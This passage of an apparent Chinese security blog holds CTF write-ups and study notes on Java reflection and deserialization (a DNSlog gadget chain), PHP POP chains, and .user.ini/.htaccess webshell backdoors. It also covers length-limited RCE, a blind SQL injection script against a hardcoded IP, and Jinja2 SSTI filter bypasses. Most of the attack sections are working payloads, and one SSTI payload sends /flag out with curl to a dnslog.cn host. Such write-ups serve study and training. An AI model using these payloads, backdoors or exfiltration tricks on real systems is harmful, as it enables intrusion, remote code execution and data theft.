f1.set(a2,10);
System.out.println(a2.getAge());

Field f2=c1.getDeclaredField("name");
f2.setAccessible(true); //通过方法属性或者方法的setAccessible(true)
f2.set(a2,"qqqqqqqqq");
System.out.println(a2.getName()); //输出 qqqqqqqqq
}
}

反射操作泛型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package reflection;

import java.lang.reflect.Method;
import java.lang.reflect.Type;
import java.util.List;
import java.util.Map;

//通过反射来获取泛型
public class day9 {
public void test1(Map<String,test>map, List<String> list){//定义两个泛型参数
System.out.println("test1");
}
public Map<String,test> test2(){
System.out.println("test2");
return null;
}

public static void main(String[] args) throws Exception {
Method a1=day9.class.getMethod("test1",Map.class,List.class);
Type[] generic=a1.getGenericParameterTypes();
for(Type t:generic){
System.out.println(t);
}

}
}

反射获取注解信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package reflection;

import java.lang.annotation.*;
import java.lang.reflect.Field;

public class day10 {
public static void main(String[] args) throws Exception {
Class q=Class.forName("reflection.students");

//通过反射来获取注解
Annotation[] annotations=q.getAnnotations();
for (Annotation annotation : annotations) {
System.out.println(annotation);//@reflection.Tablekuang(name="qwerty")
}

//获得类指定的注解
Field qq=q.getDeclaredField("name");
Annotation w=qq.getAnnotation(Fieldkuang.class);
System.out.println(w);//@reflection.Fieldkuang(age=12, name="string", id=10)
}
}
@Tablekuang(name="qwerty")
class students {
@Fieldkuang(age=12,name="int",id=10)
private int age;
@Fieldkuang(age=12,name="string",id=10)
private String name;
@Fieldkuang(age=12,name="int",id=10)
private int id;

public void setName(String name) {
this.name = name;
}

public void setAge(int age) {
this.age = age;
}

public void setId(int id) {
this.id = id;
}

public int getAge() {
return age;
}
public String getName() {
return name;
}
public int getId() {
return id;
}
}
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@interface Tablekuang{
String name();
}
@Target(ElementType.FIELD)
@Retention(RetentionPolicy.RUNTIME)
@interface Fieldkuang{
String name();
int age();
int id();
}

DNSlog链的复现

dnslog链一般用来测试是否存在序列化漏洞,它最终在序列化时会发送一条dns请求,它对环境很友好,限制较少,所以一般可以通过dnslog链来判断是否存在序列化漏洞

这里介绍一个工具,可以直接生成序列化后的文件,来触发漏洞

deswing 这个工具对ysoserial进行了集成,使得页面可视化,将常见的利用链进行了封装

下载的地址:https://github.com/0ofo/Deswing

使用方法,可以直接点击jar包选择具体的链来进行导出即可

DNSlog的利用流程为:

1
2
3
4
5
6
/*
*HashMap.readObject() //通过反序列化自动调用
*HashMap.putVal()
*HashMap.hash() //这里可以调用到key.hashCode()函数
*URL.hashCode() //这里可以发送一条dns请求
*/

URL类中的hashCode中有一个代码:

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1) //如果不为-1直接返回
return hashCode;

hashCode = handler.hashCode(this);//否则调用函数重写计算了hashCode
return hashCode;
}

跟进hashCode函数

1
InetAddress addr = getHostAddress(u);

这里获取了主机地址,从而发送dns请求,同时URL类是继承了serilized接口,所以,它可以被利用,就开始回推,看哪里可能可以调用URL.hashCode

然后就找到了HashMap类

1
2
3
4
static final int hash(Object key) {
int h; //这里可以调用键的hashCode函数,如果key为URL类的话就可以调用hashCode函数
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

现在就可以去寻找看HashMap中的hash函数在哪里被调用了

这里就发现了在HashMap重写了readObject,并且在readObject中就有关键一步

1
2
3
4
5
6
7
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();//这里将反序列化的键读取
@SuppressWarnings("unchecked")
V value = (V) s.readObject();//这里将反序列化的值读取
putVal(hash(key), key, value, false, false);//这里就调用了hash函数
}

所以在HashMap函数中如果我们将URL类当做一个键传入时,可以做到触发dns请求,但是要注意在序列化之前确保传入的URL的hashcode的值为-1,不然就无法触发hashCode函数,这里就可以通过反射来进行获取,并修改

可能会导致失败的原因就是当java的版本太高可能将无法通过反射来获取和修改私有的属性导致其修改失败,建议在java9之下来做这个实验

具体的操作就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;

public class serialize {//实现序列化的函数
public static void serialized(Object oss)throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(oss);
}
public static Object unserialized(String filename)throws Exception{//实现反序列化的函数
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}

public static void main(String[] args) throws Exception {
URL url = new URL("http://fexmpmw0vs3v4tofkt86osxh98f43vrk.oastify.com");
Field hashCode = URL.class.getDeclaredField("hashCode");//通过反射获得hashCode属性
hashCode.setAccessible(true);
hashCode.setInt(url, 100);
HashMap<URL,Object> map=new HashMap<>();
map.put(url,null);
hashCode.setInt(url, -1);
serialized(map);
unserialized("ser.bin");
}
}

石能为鼓

知识点:php反序列化

首先通过查看源代码发现source.php文件

访问得题目的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
show_source(__FILE__);
class ping {
protected $xiang;
function __construct() {
$this->xiang = new fun();
}
function __destruct() {
$this->xiang->cp();
}
}
class fun {
function cp() {
echo "hello";
}
}
class cup {
private $data;
function cp() {
eval($this->data);
}
}
unserialize($_GET['d']);

就是一个简单的序列化题,只不过在反序列化中有一个特性,将原来属性的修饰符修改是不会影响反序列化的结果,所以在构造pop链的时候可以将原来的属性修饰符进行修改,便于赋值与序列化

最终的pop链为:

<?php

class ping{

public $xiang;

}

class cup{

public $data=”system(‘cat /*’);”;

}

$a=new ping();

$a->xiang=new cup();

echo serialize($a);

//输出:O:4:”ping”:1:{s:5:”xiang”;O:3:”cup”:1:{s:4:”data”;s:17:”system(‘cat /*’);”;}}

得flag

龙池古庙

知识点:文件上传(.user.ini文件)

该题目有提示信息,通过上传.user.ini文件

简单描述一下.user.ini文件的应用,.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门

常见的用法就是通过上传一个.user.ini文件在通过一个php文件来配合使用构成一个后门

.user.ini文件的内容入下:

auto_prepend_file=.user.ini

#<?php @eval($_POST[‘a’]);?>

这个的作用相当于一个文件包含,将.user.ini的文件包含该目录下所有php文件

这里的题目需要前端绕过,最后的结果:

再通过访问该目录下的index.php,通过蚁剑连接寻找flag即可

真君擒龙

知识点:rce

先通过查看源码,发现了一个source.php文件,访问得源码:

1
2
3
4
5
6
7
8
<?php
show_source(__FILE__);
$cmd=$_GET['cmd'];
if(isset($cmd)&&strlen($cmd)<6&&!strpos(strtolower($cmd), 'nl')){
system($cmd);
}else{
die("no!no!no!");
}

这是一个限制长度的rce,并且将nl过滤了,但是又一个命令也是同样的简短od命令,以二进制形式读取文件,通过控制它的参数来控制返回文件是以几进制的形式,默认为八进制

具体为od /* 读取的内容为:

0000000 066146 063541 033573 061464 033465 031142 026546 034541 0000020 032070 032055 032063 026470 061141 031143 063055 030461 0000040 061460 032145 032542 061143 076462 000012 0000053

其中又七位或者六位的数,七位的数为偏移量,在具体解码的时候可以不用管,许多的网上的八进制解码都有问题,可以通过下面的python脚本来实现解码:

1
print(b''.join(int(ss, 8).to_bytes(2, 'little') for ss in s.split()))

s为去除偏移量的八进制数

禅蕴杨岐

知识点:sql注入,布尔盲注

开局只有一个输入框,进行万能密码测试没有用

1’or 1=1#

‘^0#

开始进行扫描,得到.index.php.swp文件,打开后的源码:

<?php
function contain($str, $a){
$strpos_res = strpos($str, $a);
if ($strpos_res){
return true;
}
return false;
}

function lvlarrep($str, $v1){
$s = str_ireplace($v1, ‘’, $str);
if (contain($s, $v1)){
$s = lvlarrep($s, $v1);
}
return $s;
}

function waf($str){
$ban_str = explode(‘,’,’select,ascii,sub,con,alter table,delete ,drop ,update ,insert into,load_file,/,/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20’);
foreach($ban_str as $v1){
if (contain($str, $v1)){
$s = lvlarrep($str, $v1);
$str = $s;
}
}
$str = str_replace(‘\’’, ‘'’, $str); // 万恶的单引号,必须转义
return $str;
}

if (isset($_POST[‘login’])){
$db_host = ‘127.0.0.1’;
$db_user = ‘root’;
$db_pass = ‘toor’;
$db_name = ‘ctf’;

$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
if (!$conn) {
die(‘数据库连接失败!’ . mysqli_connect_error());
}

$username = waf($_POST[‘username’]);
$password = waf($_POST[‘password’]);
$sql = “SELECT * FROM user WHERE username = ‘$username’ AND password = ‘$password’;”;

$query_result = mysqli_query($conn, $sql);
if (mysqli_num_rows($query_result) > 0) {
die(‘登陆成功!’);
}else{
die(‘哦欧!’);
}

}
?>

源码的主要信息就是通过将 ‘ 进行了过滤,以及将关键词替空,所以关键词可以通过复写的方式来绕过

对于单引号闭合的问题可以通过 \ 来进行转义,在与后面的 ‘ 来进行闭合

username =’$username’ AND password = ‘$password’;”;

上传username=1\&password=or 2>1#&login=1 放到源码中就可以实现这样的效果

让$username前面的单引号和$password前面的单引号进行闭合,再注释后面的单引号来实现注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time

url = "http://59.62.61.30:48708/"
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l + r) >> 1
while(l<r):
payload={
"username":"1\\",
#"password":'or 0^((selconect asconcii(suconbstring(group_counionncat(table_name),{0},1)) from information_schema.tables where table_schema=database())>{1})#'.format(i,mid),
# "password": 'or 0^((selconect asconcii(suconbstring(group_counionncat(column_name),{0},1)) from information_schema.columns where table_name="user")>{1})#'.format(i, mid),
"password": 'or 0^((selconect asconcii(suconbstring(group_counionncat(password),{0},1)) from user)>{1})#'.format(i, mid),
"login":"1"
}
html = requests.post(url,data=payload)
#print(payload)
if '登陆成功' in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)=="!"):
result = result + chr(mid)
break
result = result + chr(mid)
print(result)

最后通过二分法来获取flag

相关的文章为:https://blog.csdn.net/solitudi/article/details/116666720

.htaccess配置文件的基本信息

首先先了解一下有关.htaccess文件是什么,是一个配置文件,用于运行Apache网络服务器软件的网络服务器上,当.htaccess文件被放置在一个 “通过Apache Web服务器加载 “的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。 简单来说就是用来修改配置的

然后补充一点就是在.htaccess配置文件中单行注释符为 #

如果想要在服务器上可以运行.htaccess文件就需要先将主配置文件的AllowOverride 设置为 All

具体的运用

通过.htaccess文件来制定出错页面

1
2
3
4
ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php

在ctf比赛题目中就有应用:

1
2
3
<If "file('/flag') =~ '/flag{a/'">  //~ 类似为正则匹对
ErrorDocument 404 "y4tacker"
</If>

如果在/flag中有flag{a 就返回y4tacker,从而来枚举出flag,比较少用

SetHandler和ForceType

常见的应用场景 文件上传,这里要严格按照缩进,可能会出现错误:

1
2
3
4
5
6
7
8
9
10
<FilesMatch "aaa.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//指定将1.jpg通过PHP运行
//或者直接全局都直接使用PHP解析
SetHandler application/x-httpd-php

<Files ~ "\.jpg$"> //~先当于正则匹对 将所有匹对到.jpg结尾的都以PHP解析
ForceType application/x-httpd-php
</Files>

AddHandler

作用就是将什么以什么方式解析,作用域是针对整个服务器或特定目录的,而不是针对单个文件的,所以不需要通过Files来进行规定

1
AddHandler php-script .jpg  //将jpg文件当作PHP脚本

AddType

是Apache服务器配置中的一个重要指令,它用于将特定的文件扩展名映射到指定的MIME类型

1
AddType application/x-httpd-php .html

这条指令告诉Apache服务器,当遇到.html扩展名的文件时,应该将它们视为application/x-httpd-php类型的文件,即PHP脚本文件,并由PHP解析器进行处理

php_value

当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以

php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag

实际的应用中就有:

1
2
3
4
5
6
7
8
9
php_value auto_prepend_file 1.txt //在主文件解析之前自动解析包含1.txt的内容
php_value auto_append_file 2.txt //在主文件解析后自动解析1.txt的内容
//最好是这样,应用#号为注释符,但是PHP可以正常解析来上传一句话木马
php_value auto_prepend_file .htaccess #<?php @eval($_POST['a']);?>

//关于过滤file: 这样也是可以执行命令的
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

还有一种用法,绕过preg_match匹对,将最大的次数改为0即可,就可以用最大回溯(pcre.backtrack_limit)/递归限制使php正则失效:

1
php_value pcre.backtrack_limit 1  //默认为100000

具体的例题

[羊城杯 2020]easyphp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
$files = scandir('./');
foreach($files as $file) { //遍历目录,将不是index.php的文件都删除
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) { //通过get来提交文件名和内容
highlight_file(__FILE__);
die();
}
$content = $_GET['content']; //在文件内容里面过滤关键字
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename']; //
if(preg_match("/[^a-z\.]/", $filename) == 1) { //检查文件名是否都由字母和点组成
echo "Hacker";
die();
}
$files = scandir('./'); //再删除一次
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world"); //在后面拼接一段字符串
?>

看逻辑应该是在删除后再创建的文件,但是上传一个普通的php文件,发现上传什么都没有用,无论怎么上传,页面都只是显示Hello, world

这里就可以通过上传.htaccess来修改配置

php_value auto_prepend_file .htaccess

<?php system(‘cat /f*’);?>

但是需要有些修改,还有要将后面的\nHello, world继续拼接否则回报错

这里过滤了file 可以通过变为

php_value auto_prepend_fil\
e .htaccess

<?php system(‘cat /f*’);?>\

最后再通过url编码上传即可

最后payload为:

1
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/f*')%3B%3F%3E%5C

CTFshow-web361~371

web361

知识点:ssti

基本的常用语句有

1
2
3
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('cat flag').read()}}

通过内置的函数来获取shell

注入点为GET提交的name参数,及payload为:

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /*').read()}}

web362

知识点:ssti

这个题也可以通过第一题的方法来获取flag

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /*').read()}}

web363

知识点:引号过滤以及POST提交过滤

过滤引号可以通过request请求来进行绕过

常见的几种形式和用法:

1
2
3
4
5
6
7
{{request.args.ben}} #可以用来获取get请求传参,参数为ben
{{request.form.ben}} #可以来获取poet请求传参ben(Content-Type:application/x-www-from-urlencoded或multipart/from-data)
{{request.cookie.ben}} #可以来获取cookie中关键词为ben的参数
{{request.values.x1}} #获取所有参数
{{request.headers}} #获得请求头请求参数
{{request.data}} #post传入参数(Content-Type:a/b)
{{request.json}} #获得post传入json参数(Content-Type:application/json)

当然我个人认为request.values.x1最好用,可以获取全局参数

将过滤的部分直接通过替换即可

1
{{config.__class__.__init__.__globals__[request.args.ben].popen(request.args.ben1).read()}}&ben=os&ben1=cat /*

web364

知识点:引号过滤,args过滤,post提交过滤

这个题可能是想通过cookie来实现,但是麻烦,还是通过request.values.x1好点,因为简单

payload为:

1
?name={{url_for.__globals__.os.popen(request.values.q).read()}}&q=cat /*

web365

知识点:中括号过滤,引号过滤,args过滤,post提交过滤

绕过[]的方法,可以通过getitem()魔术方法来实现,用法也简单,可以直接平替

例如:

subclasses()[117] —> subclasses().getitem(117)

尽量选用简单的语句,就是少中括号的来实现

1
2
{{config.__class__.__init__.__globals__.__getitem__(request.values.q).popen(request.values.a).read()}}&a=cat /*&q=os
{{url_for.__globals__.os.popen(request.values.q).read()}}&q=cat /*

web366

知识点:下划线绕过,中括号过滤,引号过滤,args过滤,post提交过滤

下划线绕过可以通过管道符和attr和request请求来进行绕过

如:

lipsum.globals—>lipsum|attr(request.values.globals)

所以就可以构造payload为:

1
{{(lipsum|attr(request.values.q)).os.popen(request.values.q2).read()}}&q=__globals__&q2=cat /*

web367

知识点:os关键词过滤,下划线绕过,中括号过滤,引号过滤,args过滤,post提交过滤

这里有些不同

1
2
3
{{lipsum.__globals.os}}
{{lipsum|attr(request.values.q)|attr(request.values.o)}}&q=__globals__&o=os //这个不会执行
{{(lipsum|attr(request.values.q)).get(request.values.o)}}&q=__globals__&o=os //这个会执行

所以需要留意一下

所以payload为:(二选一即可)

1
2
{{(lipsum|attr(request.values.q)).get(request.values.o).popen(request.values.q2).read()}}&q=__globals__&q2=cat /*&o=os
{{(config|attr(request.values.class)|attr(request.values.init)|attr(request.values.globals)|attr(request.values.getitem)(request.values.o)).popen(request.values.rce).read()}}&class=__class__&init=__init__&globals=__globals__&getitem=__getitem__&o=os&rce=cat /*

web368

知识点:双括号过滤,os关键词过滤,下划线绕过,中括号过滤,引号过滤,args过滤,post提交过滤

绕过双括号,可以通过{%print()%}即可

payload为:

1
{%print (lipsum|attr(request.values.q)).get(request.values.o).popen(request.values.q2).read()%}&q=__globals__&q2=cat /*&o=os

web369

知识点:request过滤,双括号过滤,os关键词过滤,下划线绕过,中括号过滤,引号过滤,args过滤,post提交过滤

无法通过提交参数来进行绕过,需要通过join来进行拼接字符

获取字符的方法,通过config|string|list 和 lipsum|string|list来获得

具体的构造的payload: (注意将注释的删除)

1
2
3
4
5
6
7
8
9
10
11
12
13
{%set e=(config|string|list).pop(279)%} //  /
//{%set a=(config|string|list).pop(191)%} // '
{%set c=(lipsum|string|list).pop(18)%} // _
{%set kg=(lipsum|string|list).pop(9)%} // 空格
//{% set qwe=dict(l=0,s=1)|join%} //ls
{%set globals=(c,c,dict(globals=1)|join,c,c)|join %} //__globals__
{%set s=dict(o=0,s=1)|join%} //os
{%set geti=(c,c,dict(getitem=1)|join,c,c)|join %} //__getiyem__
//{% set popen=dict(popen=1)|join%} //popen
//{% set read=dict(read=1)|join%} //read
{% set flag=(((dict(tac=1)|join,kg)|join,e)|join,dict(flag=1)|join)|join %}
//{%print lipsum|attr(globals)|attr(geti)(s)|attr(popen)(flag)|attr(read)() %}
{%print (lipsum|attr(globals)|attr(geti)(s)).popen(flag).read() %}

web370

知识点:数字过滤,request过滤,双括号过滤,os关键词过滤,下划线绕过,中括号过滤,引号过滤,args过滤,post提交过滤

获取数字可以通过count来实现,如nine=dict(aaaaaaaaa=a)|join|count

再将数字替代即可

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{% set ste=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set ten=ste*nine %}
{% set r=dict(aa=a)|join|count*nine%}
{%set e=(config|string|list).pop(ten)%}
{%set c=(lipsum|string|list).pop(r)%}
{%set kg=(lipsum|string|list).pop(nine)%}
{% set qwe=dict(l=a,s=b)|join%}
{%set globals=(c,c,dict(globals=a)|join,c,c)|join %}
{%set s=dict(o=a,s=b)|join%}
{%set geti=(c,c,dict(getitem=a)|join,c,c)|join %}
{% set popen=dict(popen=a)|join%}
{% set read=dict(read=a)|join%}
{% set flag=(((dict(tac=a)|join,kg)|join,e)|join,dict(flag=a)|join)|join %}
{%print lipsum|attr(globals)|attr(geti)(s)|attr(popen)(flag)|attr(read)() %}

371

知识点:过滤print,数字过滤,request过滤,双括号过滤,os关键词过滤,下划线绕过,中括号过滤,引号过滤,args过滤,post提交过滤

绕过print需要通过dnslog带出

URL

http://www.dnslog.cn/

在该网站来申请免费的dnslog

再通过 执行curl cat /flag.7ytmqy.dnslog.cn

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set ba=dict(aaaaaaaa=a)|join|count%}
{% set ste=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set n=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set aaa=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set ten=ste*nine %}
{% set r=dict(aa=a)|join|count*nine%}
{%set q=(config|string|list).pop(aaa)%}
{%set e=(config|string|list).pop(ten)%}
{%set c=(lipsum|string|list).pop(r)%}
{%set kg=(lipsum|string|list).pop(nine)%}
{%set globals=(c,c,dict(globals=a)|join,c,c)|join %}
{%set s=dict(o=a,s=b)|join%}
{%set geti=(c,c,dict(getitem=a)|join,c,c)|join %}
{% set popen=dict(popen=a)|join%}
{% set read=dict(read=a)|join%}
{%set p=((lipsum|attr(globals))|string|list).pop(n)%}
{%set fla=(dict(curl=a)|join,kg,p,dict(cat=a)|join,kg,e,dict(flag=a)|join,p,q,dict(cfiyve=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}
{%if ((lipsum|attr(globals))|attr(geti)(s)).popen(fla)%}ataoyyds{%endif%}

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

0%